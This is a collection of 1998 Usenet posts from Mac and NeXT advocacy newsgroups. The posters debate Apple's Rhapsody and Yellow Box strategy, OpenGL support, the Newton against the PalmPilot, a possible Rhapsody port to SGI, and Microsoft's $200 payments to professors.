> H3C-N \\O | Ken & Ted's Software
>_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
>
// Christian Brunschen
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Thu, 23 Apr 1998 00:29:58 -0700
Message-ID: <see-below-2304980029580001@209.24.242.77>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <rex-2204981637540001@192.168.0.3> <353E67F5.7976@CONVEX.COM> <rex-2304980107330001@192.168.0.3>
In article <rex-2304980107330001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <353E67F5.7976@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>
You guys are both making great points about the 3D situation. OpenGL in
this situation is kind of like a high-school diploma: it won't buy them
much on its own, but they're dead meat without it.
> :Unfortunately, Jobs doesn't seem to understand that the people he needs
> :to impress *are* people who already have a product.
>
> The only way to impress them is with marketshare.
That may be true, but it's going to take a lot of doing. I always thought
that Apple should be targeting the people who have the most to gain
(besides the obvious of existing Apple/Mac/Next developers), specifically
the workstation developers. You may be right that many of them now have NT
versions of their software, but I'd guess there are a fair number who
still don't. With those workstations as much under siege as MacOS, they're
likely looking for somewhere to port to (NT).
But if Apple provided Yellow Box on those workstation platforms (and it
worked well, which requires OpenGL for a lot of them), in addition to on
NT, they could support their existing platform while enabling their app to
run on Windows and other platforms, without additional development cost
beyond the initial porting effort. The developers wouldn't have to abandon
their existing platform to widen their customer base, and could still
develop in a Unix environment. I don't know how many would make that move,
but it's probably a much higher proportion than existing Windows
developers, who, as you say, will likely yawn at Rhapsody until it has
more market share than it's ever likely to gain.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 23 Apr 1998 00:35:18 -0700
Message-ID: <see-below-2304980035180001@209.24.242.77>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu>
In article <353ebd6e.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Matthew Vaughan <see-below@not-my-address.com>
wrote:
> > In article <353ea292.0@news.depaul.edu>, Jonathan W Hendry
> > <jhendry@shrike.depaul.edu> wrote:
>
> <My blathering snupped>
>
>
> > But not least, any "major push" will be futile if there aren't any
> > applications to speak of. I know there's a small cadre of OpenStep
> > developers with good stuff to offer, but I doubt that will be nearly
> > enough to sway very many customers. Right now Apple doesn't need to sell
> > it to end users so much as they need to sell it to developers.
>
> True, but perhaps less so for buyers looking at Rhapsody as a server.
>
> That said, I am concerned about how quiet c.s.n.programmer, next-prog,
> and rhapsody-dev have been. I've seen some new faces, but not very
> many at all. If there was a lot of rhapsody development (or preparation
> for same) going on, I'd expect to see more participation.
This has worried me as well. It's been over a year since Rhapsody was
first announced, and is coming up on a year from the first developer
release, and I've heard literally nothing other than the same few existing
NeXT developers re-announcing the same products (Stone Design, etc.). I'm
not a developer myself, so I certainly don't know the inside scoop, but I
would have expected a lot more buzz than this by this point in time.
Instead all we really have is a handfull of developers grudgingly
admitting that they're studying whether or not they might begin some
limited Rhapsody development at some unspecified time in the future.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 22 Apr 1998 21:01:03 GMT
Organization: Cygnus Solutions
Message-ID: <6hllqf$cg8$2@cronkite.cygnus.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6h0b4v$h5v$3@ns3.vrx.net>
<3534C720.3BACAC4@milestonerdl.com> <SCOTT.98Apr15231250@slave.doubleu.com>
<6hlg6a$i2l$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6hlg6a$i2l$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <SCOTT.98Apr15231250@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
>
> > Well, then, what do you think the odds are on GNUStep if Rhapsody
> > _doesn't_ ship, or Apple kills it off? There are a lot of orphan GUI
> > toolkits out there. For better or worse, Rhapsody is the center of
> > the OpenStep universe. If Rhapsody does well, GNUStep will do
> > alright. If Rhapsody digs a hole, GNUStep won't be far behind.
>
> I think that the GNUstep people would disagree.. the project was
> started precisely _because_ it looked like NEXTSTEP was dying, and they
> wanted an alternative to live on. I think that the status of Rhapsody is
> not going to affect GNUstep very much unless/until GNUstep truly becomes
> mostly/completely source-code compatible with Rhapsody, in which case it
> will get a big boost. But there were sufficiently many people who were
> excited about bringing OpenStep to other platforms in a free way despite
> NEXTSTEP's impending demise to get the project started in the first place.
>
Indeed. If it wasn't for Rhapsody, I would have started spending more time
doing whatever I could to help the Gnustep project in early 97. Whether it
was something as simple as monetary donations (which aren't feasable for me
right now cuz now I'm trying to buy a house), testing, or whatever.
However, as interested as I am in free software and a free Openstep, I just
don't have time to spend on keeping Openstep alive via helping Gnustep. It
is less of a priority, in my eyes, because Openstep has a new lease on life
at Apple. If that hadn't been the case (or if that ceases to be the case), I
would probably consider Gnustep a more justifiable place to spend my
resources.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 20:30:15 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2204982030160001@digital-03-229.hou.neoworld.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM>
In article <353E6B86.33C6@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>>The Doom That Came To Usenet wrote:
>>
>>> Bottom line: People didn't care how much better the Newton was than the
>>> Palm Pilot
>>> or Windows CE devices, for that matter.
>>> They get the job done, and they don't cost a thousand bucks each.
>>> Now, when the price of the discontinued MessagePads drop to the same price
>>> point as
>>> the Palm Pilots, I'm there, dude.
>>
>>That's like saying "When PCs drop to the same price as wristwatches, I'm
>>there dude." The Newton isn't even remotely analogous to the PalmPilot;
>>if you don't recognize that, don't worry, most people don't. In fact,
>>Apple didn't recognize it. For God's sake, you can play Quake on a
>>Newton.
>>
>>MJP
You're absolutely right, there IS no comparison between Newton and PalmPilot.
I know that, but like you said, most people don't, and they balked at shelling
out the admittedly absurd thousand dollars to own one.
Except for some vertical market stuff, Newton was positioned as a PDA, and
not as
the powerful compact handheld computer it is.
Yes, I personally do think the Newton should be more reasonably priced,
somewhere in the range
of some of the WinCE devices and the new PalmPilot III.
I've always wanted one, but the Newtons I could afford at the time were
not powerful
enough.
When Apple at last built the MessagePad I wanted, they priced it WAAAYY
out of my
range of what I personally ( notice how I'm qualifying my remarks here?) felt
justified to spend.
A thousand dollars is laptop "territory", and laptops are arguably more
versatile - except,
ironically with handwriting recognition!
I don't think we'll see throwaway wristwatch PCs for another decade or so,
though
I do see the commoditization of the PC right around the corner, just like
we saw with
hi-fi stereo back in the early Eighties.
Oh, I think there will always be $5000.00 machines to spend money on, just
that, for
most purposes, a little Wintel (and Mac?) set-top box will do.
Why do I feel like a wall of flames is bearing down upon me right now like
the tidal
wave in the Poseidon Adventure?
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 01:09:49 GMT
Organization: Frank's Area 51
Message-ID: <6hm4ct$drl$1@news.seicom.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com>
<6hh3t0$c1l$1@news.digifix.com> <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net>
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Cc: forrestDELETE-THIS!@west.net
In <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net> Forrest
Cameranesi wrote:
> Scott, could you just do a clean-room .sit decompression engine, or would
> that we way over your head? (I wouldn't know, I'm not a programmer, I just
> hang around a lot of them).
Yeah... and after you put in a lot of effort watch them change the file
format in their next release. You cannot win by running behind a proprietary
file format, you can only ignore it.
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS & PostScript Guy
* "I have to go now, there are two men in white suits with a giant
* butterfly net at my door..."
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MS Paying $200/mention
Date: Wed, 22 Apr 1998 18:15:14 -0700
Organization: CTS Network Services
Message-ID: <tminkoff-2204981815140001@putc1221145.cts.com>
References: <6hlb4n$cg8$1@cronkite.cygnus.com>
Cache-Post-Path: wagasa.cts.com!unknown@putc1221145.cts.com
In article <6hlb4n$cg8$1@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> One of my bosses (David Henkel-Wallace) reacted to this with:
>
> >Hmm, we should ask all our professorial friends to begin every talk, on
> >_any_ subject, with the words `In order to collect my $200: "Microsoft
> >programming tools'" and then apply for the money.
>
> >Assuming that there are on the order of 500,000 willing professors
> >world-wide they'd each only have to do this twice a week [for one year]
> >in order to consume all of Microsoft's $10bn in cash.
>
>
> I think it's a great idea. Takers?
Unfortunately, the program doesn't work that way.
It only applies to professors who travel to conventions to speak (the $200
is ostensibly to cover their travel expenses), and they have to get the
talk preapproved by Microsoft. Microsoft has made no promise to give $200
to any professor who simply mentions Microsoft in any context.
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: mjl10@uow.edu.au (Michael James Lawler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MS Paying $200/mention
Date: 23 Apr 98 01:32:52 GMT
Organization: University of Wollongong, NSW, Australia.
Message-ID: <mjl10.893295172@jedi>
References: <6hlb4n$cg8$1@cronkite.cygnus.com>
jrudd@cygnus.com (John Rudd) writes:
> Date: Wed, 22 Apr 1998 11:30:21 +1000 (EST)
> From: Khanh Quoc Nguyen <qnguyen@st.nepean.uws.edu.au>
> If you're a professor and you mention Microsoft programming tools in a
> scholarly presentation -- in fact, even if you just use the tools -
> Microsoft will send you a check for $200.
What if I say :
"I do not use any any 'Microsoft programming tools' in my research..."
thats a mention - $200 please!
cheers,
Michael
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: If Rhapsody is alive...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6hlrvl$q9q$1@nnrp1.dejanews.com>
Message-ID: <353ea292.0@news.depaul.edu>
Date: 23 Apr 98 02:08:18 GMT
In comp.sys.next.advocacy jjens@primenet.com wrote:
> Looking over Henry Norr's review of the shareholder meeting*, I see:
> "Asked about Rhapsody's place in Apple's revised operating-system strategy, he
> [Steve] quipped "Buy a ticket to the WWDC."
> But in another place:
> "Jobs said Apple officials were spending a lot of time with corporate
> customers, but he made clear that the company has no near-term plans for a
> major push into the enterprise market."
> The two statements don't really seem to jibe ...
How do you figure? There's no conflict.
The first statement is Jobs again being coy about Rhapsody, and
building anticipation for the WWDC announcements. What would
you expect him to do, let the cat out of the bag and blow all
the prior setup?
The second statement just says that Apple is talking to corporate
customers, but isn't getting ready for some 'major push' into
the enterprise. A 'major push' would probably entail lots of
advertising, TV commercials, etc. aimed specifically at corporate
customers.
Apple probably shouldn't try that with CR1. There's enough pent
up demand in Apple's core markets to give Rhapsody a good start.
Based on those customers' feedback, Apple can put out a couple
of point releases, if necessary. Then, they can run a big
marketing push for the harder corporate sales. In the meantime,
they can continue the face-to-face sales calls, as well as
'minor push' marketing efforts.
Corporations are going to be hesitant to go with Rhapsody at
first. If a company has a bad first experience with it, they may
banish Apple forever. Apple can't really afford that, so it'd
be worthwhile to wait a bit before the big push.
(Also, if they wait, they can use good trade-rag reviews in
the marketing materials. Wouldn't hurt.)
- Jon
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 23 Apr 1998 02:12:11 GMT
Organization: @Home Network
Message-ID: <6hm81r$bc9$1@ha2.rdc1.sdca.home.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
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Cc: maury@istar.ca
In <6hklh0$oit$1@ns3.vrx.net> Maury Markowitz wrote:
> In <6hl31j$8an$1@ha2.rdc1.sdca.home.com> Rex Riley claimed:
> > How does that affect Apple? I mean in a profit sense? SGI's EPS is
> projected
> > at -$0.069 FY98.
>
> Access to shops for machines across the range. Shops that would now buy a
> few SGI's and a bunch of PC's might consider a few SGI's and a bunch of
Macs.
>
> > How does Apple affect SGI?
>
> It provides the sales force with a lineup that scales to both ends,
whereas
> the low end SGI's now are not terribly competitive _except_ for graphics. A
> Rhapsody port would result in lowered overhead because you'd have one OS for
> multi-platforms rather than multi-multi. Such a port would also allow SGI
> boxes to be used with much more desktop software (one only hopes!) than
> currently, protecting those already installed into the future, as well
>
> Then there's the sales thing, if the low end could be supported by fast
> Macs rather than "slow" SGI's then again the customer has more reasons not
to
> go to NT.
>
> Ask youself what it is about NT that's eating into SGI's sales. It's not
> speed or graphics performance, it's cost and desktop apps. Apple could
> supply both of these (with a lot of work mind you). Apple gets access to
the
> enterprise server market, SGI gets access to the design desktop market.
> Seems win-win to me.
>
> > Is there a killer.app for MacOS in there?
>
> Compared to what I've seen on my (former) workmate's Indy, Notepad is a
> killer app for SGI.
>
> > Obviously SGI customers clearly are NOT Apple customers.
>
> Oh, I couldn't disagree more! I don't know about you, but most SGI shops
I
> visit have SGI's and mostly Macs, Not SGI and nothing, or SGI and mostly
PC's
> (this may be changing).
>
> Arts, graphics, web content. These are all markets Apple is in, and ones
> SGI is in. Yes SGI is also into the 3D market, but that doesn't seem to be
> large enough alone to keep it's current size against more generalist
> machines. Access to Apple's desktop apps could fix this.
>
>
Without nit pik'g every point made, and you make several wonderful ones, I'm
not convinced. The weight of your evidence falls mostly on enthusiasm. It's
kinda like a mini- MICROSOFT strategy to own the graphics world and the
hardware it runs on. I am clueless to Apple's MarketPlan but I do know that
they do not want another Microsoft.
What SGI brings to Apple is likely to be diluted with the passage of the next
hardware/software generations. To wit: NT eating into SGI sales... SGI has
decided to meet customer "choice" expectations for SGI software. If
RhapsodyOS is a "real" serverOS SGI customer's will demand a Rhapsody choice,
too. A loyal bunch of 3D customer's who may not care what hardware their
software runs on will go where the best Price/Performance exists... and the
software follows. Apple gets the software port - free!
Whatever current advantage SGI hardware engineering has over Apple hardware is
not going to last if SJ has anything to say about it. Once Apple releases
their ServerOS on less than ServerHDWE, the race is over before it has begun.
That is not an option on SJ's list.
If Apple was insecure enough to jump at the chance to spend their "precious"
cash reserves on SGI, I'd watch investor reactions...
Now if you told me SGI has a clusterSERVER technology for vending on the
Web... all bets are off and I'm listening.
-r
Rex
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 23 Apr 1998 15:22:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jun6b.lte.sal@panix3.panix.com>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <slrn6js1ep.61p.sal@panix3.panix.com> <353E6D45.B08@CONVEX.COM>
On Wed, 22 Apr 1998 17:20:53 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>Saying that "OpenGL will be in QTML" means almost nothing, surely you
>recognize that. It's just the sort of vague, unpromising thing Apple
>loves to say.
No, it means that Apple is aware that OpenGL is needed and useful.
>> >Jobs impedes 3D.
>> I don't see that at all. QTML will have QD3d. It could be built on OpenGL
>> rather than RAVE, or it could include both. And Renderman could be added
>> back in if needed. That would give Rhapsody a large choice of 3d APIs.
>Gawd, don't you get it?! Rhapsody doesn't *need* a large choice of 3D
>APIs. Rhapsody needs *ONE* API. You can't just throw a bunch of words at
>the issue "OpenGL, RAVE, QD3D, QTML, RenderMan" and expect some kind of
>strategy to just *materialize*
The strategy is to provide a useful set of APIs and tools for Rhapsody,
and to allow Apps writen in Rhapsody/YellowBox to run on multible platforms.
Is that clear?
Apple is a company, not a cult. They are not in the position to declare
OpenGL, QD3d of RAVE to be the 3d gospel. They will provide APIs, and let the
programmers decide what and how to use them.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: schurch@visgen.com (Sean Church)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 23 Apr 1998 15:23:58 GMT
Organization: Interlynx
Message-ID: <6hnmee$itf$1@wolf.interlynx.net>
References: <6hl31j$8an$1@ha2.rdc1.sdca.home.com>
In article <6hl31j$8an$1@ha2.rdc1.sdca.home.com> rriley@yahoo.com (Rex
Riley) writes:
>(snip) Obviously SGI customers clearly are NOT Apple customers.
Umm...
Geez, every major animation shop I have visited or worked at has this
interesting computer setup...
Most animators have an SGI on the desk top, and right beside it is...
A macintosh, for office productivity applications.
Why a Mac instead of Windows? Well... there ain't no "Blue Screen of
Death" waiting for you, and the Systems folks are usually Unix oriented,
and nothing get's older than reloading an OS because you added an
application to the system that didn't install cleanly...
The majority of the users are artists in this environment... so the Mac is
what seems to be the logical choice.
Of course, the Soft Image folk would want you to run on NT, but I would
personally call an admin who chose NT over IRIX as the more stable OS to
support as a KOOK!
Just a little input from my end...
;-)
Sean
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 15:33:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6junqa.lte.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu> <slrn6js1u3.61p.sal@panix3.panix.com> <6hnid5$mnk@nntp02.primenet.com>
On 23 Apr 1998 07:15:01 -0700, John Jensen <jjens@primenet.com> wrote:
>Salvatore Denaro <sal@panix3.panix.com> wrote:
>: On Wed, 22 Apr 1998 00:26:00 -0500, Steve Bryan <steve_bryan@hotmail.com> wrote:
>: >I would think that the Palm Pilot provides evidence that the Newton had a
>: >chance of making money.
>: It provides NO evidence that APPLE could have made money on it. Apple has
>: never been able to make money on low cost consumer products. They are not
>I can't help but raise a parallel:
>Just as Sun's success provides NO evidence that APPLE can make money in
>the server market. Therefore...
True. But Apple now has a server product (Rhapsody). The Newton was not
a consumer product. A $300 Pilot is a consumer product, a $800 Newton is
not. A $400 Newton would have been.
FWIW, I talked to an X-Apple person who claimed to have seen a Pilot
sized newton that was the equivilent to the MP130, but without the
PCMCIA card. He said it was scrapped to make room for the Emate.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 15:37:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6juo16.lte.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM>
On Wed, 22 Apr 1998 17:13:26 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>That's like saying "When PCs drop to the same price as wristwatches, I'm
>there dude." The Newton isn't even remotely analogous to the PalmPilot;
That is exactly what those people buying sub $1k PCs have been saying.
That is exactly what those people buying WebTV have been saying.
That is exactly what those people buying Pilots have been saying.
Netwon is to Pilot as Lisa is to Mac. A useful subset a 1/4 of the
price.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Thu, 23 Apr 1998 11:49:43 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2304981149430001@192.168.0.3>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <rex-2204981637540001@192.168.0.3> <353E67F5.7976@CONVEX.COM> <rex-2304980107330001@192.168.0.3> <see-below-2304980029580001@209.24.242.77>
In article <see-below-2304980029580001@209.24.242.77>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
:In article <rex-2304980107330001@192.168.0.3>, rex@smallandmighty.com
:(Eric King) wrote:
:You guys are both making great points about the 3D situation. OpenGL in
:this situation is kind of like a high-school diploma: it won't buy them
:much on its own, but they're dead meat without it.
Exactly. OpenGL is needed for fast hardware. But once you've got that
how do you differentiate your platform? How do lure developers, how do you
spark innovation? The YellowBox is a wonderful general purpose application
framework, but there's nothing really exciting in it for 3D work.
:That may be true, but it's going to take a lot of doing. I always thought
:that Apple should be targeting the people who have the most to gain
:(besides the obvious of existing Apple/Mac/Next developers), specifically
:the workstation developers. You may be right that many of them now have NT
:versions of their software, but I'd guess there are a fair number who
:still don't.
It's probably only a small number by now. On the SGI, for instance, a
lot of developers have felt kind of a squeeze since SGI acquired
Alias|Wavefront. Everyone knows the unix market is shrinking; the
writing's been on the wall for years now.
: With those workstations as much under siege as MacOS, they're
:likely looking for somewhere to port to (NT).
:
:But if Apple provided Yellow Box on those workstation platforms (and it
:worked well, which requires OpenGL for a lot of them), in addition to on
:NT, they could support their existing platform while enabling their app to
:run on Windows and other platforms, without additional development cost
:beyond the initial porting effort.
That's a *HUGE* if. Two years ago that argument would have been valid,
but I think that just about everyone that would benefit from such a system
is already pretty far along in their NT work. By the time Rhapsody ships,
the situation will only be that much worse. By the time Apple could
actually get Rhapsody running on those other unixes, there wouldn't be
much point, the remaining vendors would have moved over to NT by then. In
all, the situation is just remarkably bad.
:The developers wouldn't have to abandon
:their existing platform to widen their customer base, and could still
:develop in a Unix environment. I don't know how many would make that move,
:but it's probably a much higher proportion than existing Windows
:developers, who, as you say, will likely yawn at Rhapsody until it has
:more market share than it's ever likely to gain.
This is true, but you're talking on the order of at most a few 10s of
apps. At most. Truth be told, I expect that a lot of these vendors would
move to Linux before Rhapsody. The port would probably be easier also.
-Eric
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 23 Apr 1998 15:42:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6juob0.lte.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net> <slrn6jo8u2.q17.sal@panix3.panix.com> <gio+van+no+ni+8-2204981931280001@dialup157.tlh.talstar.com>
On 22 Apr 1998 23:22:19 GMT, Giovanni 8 <gio+van+no+ni+8@tal+star+spam.com> wrote:
>> Salvatore Denaro wrote:
>>> On 1998-04-20 08:52:30 GMT, Maury Markowitz wrote:
>>>> Salvatore Denaro claimed:
>>>> If you want to sell Unix to the Fortune 500, you have to
>>>> show that it can scale from desktop to teraflop.
>Indy2... Power Challenge, both from SGI.
This is exactly what I was saying.
>> True. And WO will attack a lot of buisness for Apple, assuming
>> the price is right. But Apple needs something on the high end,
>> of a deal where Rhapsody will run on bigger boxes than the G3
>> minitowers.
>The box doesn't need to be big. I know of at least one
>instance where a little tower PowerMac was successfully
I wasn't refering to physical size. The G3 can not be scaled up to
Power Challenge size or E10 size in terms of IO, slots, memory,
number of CPUs...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 23 Apr 1998 15:59:01 GMT
Message-ID: <6hnog5$spq$2@newsfep3.sprintmail.com>
References: <no-2104982333090001@grv230155.columbus.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <no-2104982333090001@grv230155.columbus.rr.com> Steve Jones wrote:
> The following paragraph is from a great article on Stepwise:
>
> ----------------
> "So, take heart, Rhapsody enthusiasts. Rhapsody is cool beyond belief and
> is coming to a
> system near you. Remember, even if everyone at Apple marketing had a brain
> aneurism
> and decided Rhapsody really will be a server OS forever, it really isn't
> their decision.
> It's ours. It's not like they're going to give us a worksheet when we buy
> our Macintosh,
> and if we check the "client and server" box they say, "Nope, sorry, we
> can't sell you
> Rhapsody, it's only for servers."
Dont you think his article was a bit beyond the point tho?
Yes, Rhapsody will make a GREAT consumer OS. But if Apple doesnt
market it as such, their is a possibility companies will think their
consumer softrware
isnt worth being put out for it. I am not saying this is the case, since
Adobe and Carmack
have not definitely said this, but their have been hints that they may think
this.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 23 Apr 1998 16:06:29 GMT
Message-ID: <6hnou5$spq$3@newsfep3.sprintmail.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: blackstar@aol.com
In <blackstar-2204981924300001@a-206-59.sp.neu.edu> blackstar@aol.com wrote:
> They can't tell us how to use it, but if they choose to market it as a
> Server OS, it will not make as big an impact. Of couse all the current Mac
> users know what it does and will run to the stores and buy the first
> copies regardless of what kind of OS Apple want's to call it. But this OS
> has a pontential of really increasing Apple's OS marketshare unless they
> market it to the wrong people.
First of all, funny thing. I called my isp for support. I wanted to know if
they used PAP or CHAP or neither. They gave me 2 choices, mac os or windows
95. I am on a PC running OPENSTEP, plus I am a avid mac user, so I chose the
mac support. THe mac technician didnt know what OPENSTEP is, didnt know what
rhapsody is, and didnt know what NeXT is. He was really surprised he hadnt
heard of any of these since he "really stays up with what is going on with
the mac" <VBG>
Also, as you probably realize that it is not NECESARILY true that most mac
users who know what it is will run out and buy it when it is released. *IF*
Apple charges too much, these users may WANT to buy it but not be able to
because its too expensive. I would suggest if RHapsody is $500 or more a
good many people will not buy it. Of course hopefully Rhapsody will only
cost about $200
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: first post
Date: 23 Apr 1998 15:54:42 GMT
Message-ID: <6hno82$spq$1@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Wooo hooo! My first posting under Openstep! I would like to thank all those
who helped me get OPENSTEP PPP working. You know who you are :)
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 16:22:57 GMT
Message-ID: <6hnpt1$3s$1@newsfep3.sprintmail.com>
